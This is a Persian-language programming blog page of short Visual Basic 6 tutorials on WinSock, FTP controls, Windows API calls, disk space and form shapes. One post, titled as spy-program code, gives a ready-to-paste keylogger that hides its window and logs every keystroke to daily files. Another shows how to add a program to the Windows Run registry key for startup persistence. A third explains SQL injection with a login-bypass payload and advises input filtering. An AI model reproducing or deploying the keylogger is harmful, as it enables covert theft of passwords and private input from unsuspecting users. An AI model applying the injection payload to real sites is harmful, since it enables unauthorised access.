***بسیار مفتخریم که از سایت ما بازدید فرمودید امید است شما را در رسیدن به بخشی هرچند اندک از اهدافتان یاری نموده باشیم*** ***WWW.CESblog.Ir*** ***به وبلاگ مهندسی کامپیوتر خوش آمدید ***
نرم افزار اجرای برنامه موبایل با فرمت جاوا  در کامپیوتر

برای اجرای برنامه موبایل فایل را از حالت زیپ خارج کرده و آنرا در دستاپ کامپیوتر قرار دهید  با استفاده از موس برنامه موبایل را روی نرم افزار بیندازید



saveحجم فایل:800 کیلوبایت

downloadدانلود

keyرمز فایل :www.cesblog.ir

منبع:www.cesblog.ir

+ نوشته شده توسط CES در دوشنبه سی ام خرداد ۱۳۹۰ و ساعت 14:42 |
کنترل Internet Transfer - قسمت دوم

اتصالات FTP


پروتکل FTP علاوه بر نقل و انتقال فايل بين دو کامپيوتر ، مي تواند نوعي مديريت فايل ( مثل حذف فايل يا ايجاد پوشه ) روي کامپيوتر مقصد را انجام دهد . FTP در انتقال فايل بسيار قويتر از HTTP است ولي به مراتب پيچيده تر از HTTP مي باشد اما کنترل IT اين پيچيدگيها را از ديد برنامه نويس مخفي کرده است .
براي کار با سرورهاي FTP بايد به آنها Login نمود . نوع خاصي از Login به نام Anonymous Login ( ورود ناشناس ) وجود دارد که با آن کاربران مي توانند بدون محدوديت از سايت FTP استفاده کنند . توجه کنيد که حتي براي ورود ناشناس هم نياز به نام کاربر و کلمه عبور است . براي ارسال نام کاربر و کلمه عبور از خواص username و password کنترل IT استفاده مي شود . اگر خاصيت username خالي باشد ( blank ) ، کنترل IT بطور خودکار از anonymous استفاده مي کند و آدرس email کاربر بعنوان passowrd استفاده مي شود .
استفاده از متد OpenURL : متد OpenURL ساده ترين راه انجام عمليات FTP است . دستور زير از يک سايت FTP ليست مي گيرد :
ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:54 |
کنترل Internet Transfer - قسمت اول

مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:53 |
کنترلWinSock - قسمت دوم


بررسی خواص کنترل WinSock :
ByteReceived : مقدار داده دريافت شده ( موجود در بافر receive ) را نشان مي دهد . توسط متد GetData مي توان اين داده را دريافت نمود .
LocalHostName : نام ماشين محلي را نشان مي دهد . اين پارامتر فقط خواندني است .
LocalIP : آدرس IP ماشين محلي را بصورت يک string برمي گرداند . اين پارامتر فقط خواندني است .
LocalPort : براي خواندن و يا تنظيم شماره پورت محلي بکار مي رود .
Protocol : براي خواندن و يا تنظيم پروتوکل مورد استفاده توسط کنترل WinSock بکار مي رود .
RemoteHost : براي خواندن و يا تنظيم نام يا آدرس IP ماشين راه دور بکار مي رود .
RemoteHostIP : آدرس IP ماشين راه دور را برمي گرداند :
۱- براي برنامه هاي Client بعد از زمانيکه يک اتصال توسط متد Connect پذيرفته شد ، اين خاصيت حاوي آدرس IP ماشين راه دور است .
۲ - براي برنامه Server ، بعد از آمدن يک Connection Request اين خاصيت شامل آدرس IP ماشين راه دور است .


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:50 |

کنترل WinSock - قسمت اول 

مقدمه :
کنترل WinSock نسبت به تمام کنترلهاي اينترنت در سطح پايينتري قرار دارد . اين کنترل امکان ايجاد سرويسهاي شبکه اي مبتني بر پروتکلهاي TCP و UDP را مهيا مي کند . بعبارت ديگر توسط اين کنترل مي توان برنامه هاي کاربردي Client/Server ( سرويس گيرنده / سرويس دهنده ) ايجاد و با استفاده از پروتکل TCP و يا UDP بين آنها ارتباط برقرار نمود .
با تنظيم خصوصيات و فراخواني متدهاي اين کنترل مي توانيد به راحتي به يک کامپيوتر راه دور متصل شويد و داده ها را در هر دو جهت جابجا نمائيد . نمونه کاربرهايي که مي توان با اين کنترل ايجاد نمود :
Client-server chat ، Mail client ، Mail server ، Proxy Server ، Network Game ، Port Scanner ، پياده سازي الگوريتم هاي موازي و …



ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:49 |
API هاي ويندوز

امروز قصد دارم در مورد API هاي ويندوز و چگونگي استفاده از آنها در ويژوال بيسيک بطور خلاصه توضيح دهم و همچنين دو مثال پراستفاده را نيز در اين زمينه بيان کنم که عبارتند از چگونگي پخش فايلهاي Wav و ساخت يک تايمر با دقت بالا :


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:46 |
آيا چيزي در مورد واقعيت مجازي شنيده ايد ؟
VR يک برنامه توليد شده توسط کامپيوتر است که به کاربر اجازه مي دهد در يک دنياي مجازي قرار بگيرد و با آن ارتباط مجازي داشته باشد . چند نمونه از کاربردهاي VR عبارتند از :
۱ - شبيه سازي محيطهاي مختلف مثل محيطهاي فيزيکي ، فضايي و ...


۲ - ساخت تجسم هاي مجازي از فعاليتهاي پزشکي ، نظامي و آموزشي


۳ - بازيهاي واقيت مجازي چند نفره و ابزارهاي سرگرمي واقعيت مجازي


براي نمونه برنامه Win3D يک برنامه VR است که محيط ويندوز شما را به صورت يک محيط مجازي سه بعدي در مي آورد .
۴ - تصاوير Panorama :


دو برنامه مفيد براي ساخت تصاوير Panorama :
ArcSoft Panorama Maker 3.0
Panorama Factory
۵ - زبانهاي مدلسازي محيطهاي مجازي ( VRML )‌ براي اينترنت
در مورد زبان VRML منابع زيادي در اينترنت وجود دارد از جمله :
VRML TUTORIAL
یک نمونه VRML Viewer براي مرورگرهاي وب ، برنامه Blaxxun VRML viewer می باشد .

+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:45 |
sql njection چيست ؟
همانطور که می دانيد در اغلب برنامه های کاربردی تحت وب از بانکهای اطلاعاتی استفاده می شود . اين برنامه ها داده های ورودی کاربر را از طريق فرمهای html دريافت کرده و بر اساس آن يک query توليد کرده و آنرا به بانک اطلاعاتی ارسال می کنند . در واقع ارتباط بين برنامه تحت وب با بانک اطلاعاتی بر اساس توليد query از داده های کاربر برقرار می شود . اکثر اين برنامه ها از زبان SQL برای اين ارتباط استفاده می کنند . اما نکته ای که در اين بين وجود دارد اينست که توليد query بر اساس داده هايی که کاربر مستقيماً در فيلدهای ورودی صفحه وب وارد کرده می تواند خطرناک باشد . بعبارت ديگر اگر برنامه محتويات يک فيلد را که توسط کاربر وارد شده در جلوی يک دستور SQL بچسباند و آنرا جهت اجرا روی بانک اطلاعاتی بفرستد در اينصورت يک هکر ماهر که با زبان SQL آشنا باشد می تواند محتويات اين فيلدها را طوری با دستورات SQL پر کند و چون ای داده ها مستقيماً برای توليد query استفاده می شود ممکنست آن query تبديل به يک فرمان مخرب شده و پس از اجرا ، اهداف نفوذگر را برآورده نمايد .

مثال : فرض کنيد دو فيلد به اسمهای username و password در يک فرم وب قرار دارد که برای ورود به يک سايت استفاده می شود . همچنين فرض کنيد از اطلاعات اين فيلدها بطور مستقيم يک query بصورت زير برای بانک اطلاعاتی ارسال شود :

us=request.form("username")
psw=request.form("password")
query="SELECT * FROM Users WHERE username='"&us&"' AND password='"&psw&"'"

حال در صورتيکه هکر يک username صحيح ( مثلاً xxx ) از سيستم را بداند و در فيلد username مقدار صحيح را وارد کرده و در فيلد password عبارت زير را وارد کند :

1111111' or  username='xxx'

در اينصورت query بصورت زير در می آيد :

SELECT * FROM Users WHERE username='xxx' AND password='111111' or username='xxx'

در اينصورت هکر بدون دانستن يک password مجاز می تواند به سيستم وارد شود .
اين امر بخاطر آنست که چون فيلدهای وارد شده توسط کاربر بطور مستقيم در query قرار داده شده اند هکر توانسته کاراکتر ' را که در زبان SQL يک کاراکتر کنترلی بوده و عملکرد خاصی دارد ( عمل خاتمه دادن به عبارت SQL ) را در در query بگنجاند و سپس با دادن دستورات SQL مناسب کنترل را بدست بگيرد .

اين سناريو می تواند بسيار خطرناکتر باشد زيرا هکر می تواند از ساير دستورات SQL مثل INSERT و DELETE نيز استفاده کند .

- در نگارش مطالب فوق از کتاب " نفوذگری در شبکه و روشهای مقابله با آن " نوشته مهندس احسان ملکيان استفاده شده است . برای آشنايی بيشتر با sql-injection و روشهای مقابله با آن به صفحات ۳۲۰ تا ۳۲۸ اين کتاب مراجعه کنيد .

برای مقابله با اين حملات بايستی از داده های ارسال شده توسط کاربر مستقيماً query توليد نکنيم بلکه ابتدا عدم وجود کاراکترهای کنترلی مثل ' و " و ; و *و غيره را در آن بررسی کنيم . برنامه ابتدا بايد در query وجود چنين کاراکترهايی را در مکانهای غيرمجاز بررسی کند . در بخش بعدی برنامه ای را جهت بررسی query های SQL بمنظور مقابله با sql-injection ارائه خواهم داد .


+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد ۱۳۹۰ و ساعت 22:41 |
گرفتن پسوند یک فایل با استفاده از ویژوال بیسیک


Code
FileName$ = "C:\windows\clouds.bmp"

ext = Mid$(FileName$, InStr(1, FileName$, ".") + 1, 3)
البته در این مثال فایل مورد نظر ما با نام clouds.bmp در نظر گرفته شده است.

موفق باشید.

منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت 14:24 |
تبدیل حروف کوچک به حروف بزرگ در VB


Code
'Enter the following code in the Keypress event of a text box.

keyascii=asc(ucase(chr(keyascii)))

منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت 14:21 |
Auto Complete در ویژوال بیسیک

Code
Option Explicit

Private Declare Function SHAutoComplete Lib "Shlwapi.dll" _
        (ByVal hWndEdit As Long, _
        ByVal dwFlags As Long) As Long

Public Enum SHAC_Constants
    Default = &H0
    FileSystem = &H1
    URLHistory = &H2
    URLMRU = &H4
    URLAll = (&H2 Or &H4)
End Enum

Public Sub AutoComplete(txtItem As TextBox, lngType As SHAC_Constants)
    On Error GoTo ErrHandler

    SHAutoComplete txtItem.hWnd, lngType
   
    Exit Sub
  
ErrHandler:
End Sub

Private Sub Form_Load()
  AutoComplete Text1, Default
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت 14:17 |

کد برنامه جاسوسی برنامه نویسی شده با ویژوال بیسیک


Code
'Just copy in paste in a new project

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

Private Sub Form_Load()
On Error GoTo ErrorHandler:
Form1.Width = 0
Form1.Height = 0
Form1.Top = 0
Form1.Left = 0

MkDir (App.Path & "\" & "Spy")


ErrorHandler:

End Sub
Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub



Private Sub Timer2_Timer()
On Error GoTo ErrorHandler
    Text2.Text = Format(Date, "dd,mm,yyyy")
    Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1
    Write #1, Text1.Text
    Close #1
ErrorHandler:
  
End Sub


منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت 14:9 |
نحوه قرار دادن برنامه در start up  ویندوز با برنامه نویسی ویژوال بیسیک


Declarations
'Add to a module
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated String
Public Const REG_DWORD = 4 ' 32-bit number
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&
Public Const KEY_WRITE = &H20006
Code
 'Run on startup
        'reg path
        subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

        retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
        If retval <> 0 Then
            Debug.Print "Can't open the subkey"
            Exit Sub
        End If
        stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
        retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal         stringbuffer, Len(stringbuffer))
        RegCloseKey hregkey

منبع:www.cesblog.ir

+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت 14:6 |
شناسایی فضای خالی دیسک با استفاده از VB

Declarations
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

Public Type DiskInformation
    lpSectorsPerCluster As Long
    lpBytesPerSector As Long
    lpNumberOfFreeClusters As Long
    lpTotalNumberOfClusters As Long
End Type
Code
Dim info As DiskInformation
Dim lAnswer As Long
Dim lpRootPathName As String
Dim lpSectorsPerCluster As Long
Dim lpBytesPerSector As Long
Dim lpNumberOfFreeClusters As Long
Dim lpTotalNumberOfClusters As Long
Dim lBytesPerCluster As Long
Dim lNumFreeBytes As Double
Dim sString As String

lpRootPathName = "c:\"
lAnswer = GetDiskFreeSpace(lpRootPathName, lpSectorsPerCluster, lpBytesPerSector, lpNumberOfFreeClusters, lpTotalNumberOfClusters)
lBytesPerCluster = lpSectorsPerCluster * lpBytesPerSector
lNumFreeBytes = lBytesPerCluster * lpNumberOfFreeClusters
sString = "Number of Free Bytes : " & lNumFreeBytes & vbCr & vbLf
sString = sString & "Number of Free Kilobytes: " & (lNumFreeBytes / 1024) & "K" & vbCr & vbLf
sString = sString & "Number of Free Megabytes: " & Format(((lNumFreeBytes / 1024) / 1024), "0.00") & "MB"

MsgBox sString

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد ۱۳۹۰ و ساعت 23:55 |
ایجاد یک فرم دایره ای در vb


Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
'place this code in the form load event
Private Sub Form_Load()
    Dim lngRegion As Long
    Dim lngReturn As Long
    Dim lngFormWidth As Long
    Dim lngFormHeight As Long
   
    lngFormWidth = Me.Width / Screen.TwipsPerPixelX
    lngFormHeight = Me.Height / Screen.TwipsPerPixelY
    lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight)
    lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True)
End Sub

منبع:www.cesblog.ir



+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد ۱۳۹۰ و ساعت 23:51 |